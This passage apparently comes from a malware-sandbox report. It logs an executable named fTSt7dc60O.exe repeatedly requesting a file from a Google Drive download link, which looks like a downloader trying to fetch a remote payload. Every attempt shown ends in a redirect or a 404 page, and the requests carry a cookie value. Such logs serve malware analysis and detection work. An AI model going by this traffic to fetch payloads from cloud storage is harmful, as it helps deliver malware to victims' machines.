2025-01-10 14:40:22 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:22 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-MHqpkwNB1sq08VdOB-MYVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	52254	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:23 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:23 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSEUf-K29TV9HspK0iSDM7RCSRVKz_kA2P1kbpvXmXkwhwemq6I7T49-nmDdVhGUd_D Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:23 GMT Content-Security-Policy: script-src 'nonce-Ym_zG50vr_fB-inpM67hIQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:23 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 72 32 47 51 35 6f 78 59 52 73 45 6f 50 62 39 77 41 78 62 65 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5r2GQ5oxYRsEoPb9wAxbeg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	52255	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:24 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:24 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:24 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-bIpuvhyvWmlbUenpdKAuzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	52256	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:25 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:25 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4BY1nMj23zxUvINk7iCRVYfwnM7SJyS59HLu01AxQcbEt_t1PMsBTa1puGL-7HJd-j Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:25 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-XNh2jNlbj1Z485zPG3wAcQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:25 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 31 31 43 4e 37 61 68 4d 41 7a 56 47 73 4a 49 58 43 78 35 71 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="b11CN7ahMAzVGsJIXCx5qQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	52257	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:26 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:27 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:27 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-1KKncOaVqLvXhWhawPvvFg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	52258	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:27 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:28 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTBBergi_s54k7dUz975d3ixzRUK8TNFx8aKzjtZ2sRaKib5nquoehgflUCUTfplAuo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:28 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Dmo84NXbWAtznyBEhBK7TQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:28 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 6e 72 38 44 32 2d 52 52 78 50 48 63 75 6b 55 2d 74 43 47 75 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="enr8D2-RRxPHcukU-tCGuA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	52259	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:29 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:29 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:29 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-yf1vyQEeZzLXkLkBsIKyQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	52260	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:30 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:30 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6jyjbFgl1gbFUK4iRhij7444whM1hxRBhLWIo4H4OpzRGSuyM374RKBzIlJfs8wkx9 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:30 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-zHYg6pJBMH4ucdlT9rCToA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:30 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 34 54 2d 72 72 48 4b 5a 39 6b 73 2d 6a 63 58 70 58 64 61 61 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="T4T-rrHKZ9ks-jcXpXdaag">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	52261	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:31 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
